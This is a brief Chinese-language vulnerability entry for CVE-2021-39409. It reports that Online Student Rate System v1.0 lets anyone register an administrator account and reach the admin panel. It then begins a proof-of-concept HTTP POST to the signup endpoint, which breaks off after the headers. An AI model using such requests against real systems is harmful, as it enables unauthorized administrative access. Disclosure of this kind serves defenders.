CVE-2021-39409

CVE-2021-39409 在 Online Student Rate System v1.0 中，可以注册管理员账户，允许恶意行为者创建管理员账户并访问管理面板。 漏洞 root@kitploit: POST /ajax.php?action=signup HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 X11; Linux x8664; rv:78.0 Gecko/20100101 Firefox/78.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip...